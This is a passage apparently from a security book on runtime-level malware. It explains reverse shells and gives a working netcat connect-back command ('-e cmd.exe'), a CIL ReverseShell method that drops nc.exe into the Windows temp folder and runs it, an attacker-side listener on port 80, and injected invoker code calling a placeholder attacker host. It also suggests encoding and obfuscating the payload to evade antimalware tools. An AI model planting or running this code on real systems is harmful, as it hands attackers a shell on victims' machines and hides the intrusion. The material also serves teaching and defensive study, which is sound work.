Extending the Language with a Malware API

Creating a Remote Reverse Shell Tunnel

Attackers use remote shells to connect to their victim's remote machine using an interactive shell. Remote shells enable an attacker to execute OS commands as though he were sitting in front of the victim's machine, and execute commands on behalf of the victim's identity on which the shell's process is running. Telnet and RSH are two examples of “legitimate” services that enable remote clients to connect to another machine and execute commands via the shell's console. Those “direct” or “forward” remote shells are established by the client to the server (the server must, of course, listen to those requests and decide whether to accept them).

From an attacker's point of view, it is beneficial to be able to connect to a remote machine and execute OS-level commands. After breaking into a machine, the attacker can set a remote shell server on the machine so that he can establish connections to the machine at a later time. However, such a technique has two major drawbacks:

1.Some kind of remote shell server must be running on the victim's machine. This is a drawback because the victim may notice that the remote shell server is running. Also, the remote shell server can be stopped for various reasons, which makes this an unreliable method.

 

2.Connecting to the remote machine requires that the port on which the server is listening is not blocked for incoming connections, usually by a firewall.

Enter the reverse shell.

The main idea of a reverse shell is that the remote machine (the victim) is the one that establishes the connection to the attacker, rather than vice versa. Upon successful connection, the victim will provide the remote attacker a direct local shell to the machine.

Using reverse shells does not require any software to be up and running all of the time on the victim's machine. All the attacker needs to do is to somehow instruct the victim to connect back to the attacker's machine.

Reverse shells also take advantage of the fact that although most firewalls focus on incoming connections (which might block forward remote shells) most of them enforce less restrictive rules when it comes to outgoing connections, meaning that the outgoing connection established from the victim's machine to the attacker's machine has a higher rate of success. One of the most obvious ports opened for outgoing connections is port 80, which is used to connect to the World Wide Web to fetch updates.

In this section, we will create a method called ReverseShell(string ip, int port) that an attacker will use to instruct his victim to connect back to his machine, and provide a shell to the caller.

The parameters for this method are the hostname to which the client should connect (i.e., the attacker's host address), and the port number on the attacker's machine to which it should connect. That port on the attacker's side has a listener process that waits for incoming connections and provides the attacker the ability to send commands to the remote machine upon successful connection.

The method's connect-back functionality will be implemented based on the netcat.exe utility (see the following “Tools” sidebar), which the ReverseShell method will deploy and execute.

Tools

Netcat is a general-purpose network utility for reading and writing network connections using TCP/UDP. It has many features for performing low-level network operations, such as creating inbound or outbound connections, port forwarding, port scanning, and reading command-line arguments, among others.

You can download Netcat from http://netcat.sourceforge.net/download.php.

The following command executes Netcat and instructs it to establish a reverse shell (providing a cmd.exe prompt) to the specified HOSTNAME and PORT at the attacker's machine:

netcat HOSTNAME PORT -e cmd.exe

The preceding command will establish the connection from the victim's machine to the remote attacker's machine, forming the reverse shell tunnel.

Warning

Placing such a tool inside the runtime binaries might fool many security tools, which wouldnot be expecting to find such “interesting things” inside the runtime code. Although some security tools are capable of detecting the presence of such malware, they can easily be fooled by malware that simply encodes the payload content and opens it later on at runtime, since no antimalware tool knows the bytecode details of a given runtime. With the added complexity of running the executable from memory, being obfuscated, and possibly performing other tricks, the executable can go unnoticed by security detection tools.

The following code is an implementation of the ReverseShell method. It uses two methods that were previously defined in this chapter: deployFileContent(string filename, string saveAs) to deploy the Netcat executable to disk, and exec FileFromDisk(string filename,string arguments) to launch it. Besides demonstrating the implementation of reverse shells, the code also demonstrates that injected methods can call each other and build more complex operations on top of operations that were already deployed.

.method public hidebysig static void ReverseShell(string hostname,int32 port) cil managed {

ldstr "netcat"

ldstr "c:\\windows\\temp\nc.exe"

call void InjectedClassName::deployFileContent(string filename, string saveAs)

ldstr "c:\\windows\\temp\nc.exe"

ldarg.0

ldstr " "

ldarga.s port

call instance string [mscorlib]System.Int32::ToString()

call string [mscorlib]System.String::Concat(string,string, string)

ldstr "-e cmd.exe"

call string [mscorlib]System.String::Concat(string,string)

call void InjectedClassName::execFileFromDisk(string, string)

ret

}

The code first calls the deployFileContent method, passing the requested payload name of “netcat” to be deployed as “c:\windows\temp\nc.exe”. Later, it calls the execFileFromDisk method, while providing the path to the deployed executable and concatenating the required arguments for proper execution.

Attack Scenario

Opening a Reverse Shell to the Attacker's Machine

The first thing an attacker must do before accepting any incoming connections from his victim is to set up a listener for incoming reverse shell connections. The listener opens a port on the attacker's machine, and waits for the victim to connect. When the victim connects, the shell will be opened on the attacker's side, giving the remote shell to the victim.

Setting up such a listener on port 80 can be accomplished with Netcat (this time on the attacker's side) with the following command:

nc –l –p 80

Now the attacker has the listener up and running (see Figure 6.4).

Figure 6.4. Setting Up a Listener on the Attacker's Machine at Port 80

If the ReverseShell method had been implemented in the victim's machine, now it's just a matter of invoking it. Suppose the attacker had picked a method into which the invoker code is to be injected. Invoking the ReverseShell method is as simple as pushing the attacker's machine name (AttackerMachine) and the port (80) to the stack and calling this method:

ldstr "<<AttackerMachine>>" //attacker's machine address

ldc.i4 0x50 //the desired port is 80

call void InjectedClassName::ReverseShell(string,int32)

So, just as the victim operates the invoker, the affected machine (instructed by the application via the runtime) will deploy Netcat as a file to the disk and execute it, leading to an outgoing network connection established from the victim to the attacker.

The attacker, on the other side of the connection waiting for this to happen, will now have access to that machine. The Netcat application, blocking on an incoming connection, will suddenly come to life, providing a full shell to the victim's machine, under the credentials of the user identity that operated the code. Figure 6.5 shows what the attacker will see.

Figure 6.5. Incoming Connection at the Attacker's Machine Providing a Reverse Shell to the Victim

In this way, the attacker can take the user's identity (and if the user has administrator privileges, the attacker can take over the whole machine or network).

Note

In this section, we demonstrated how a remote reverse shell was established by using Netcat, an external executable used to demonstrate calls to the previously defined methods deployFileContent and execFileFromDisk. Other ways to achieve a remote reverse shell include manually implementing it in code and using another executable besides Netcat.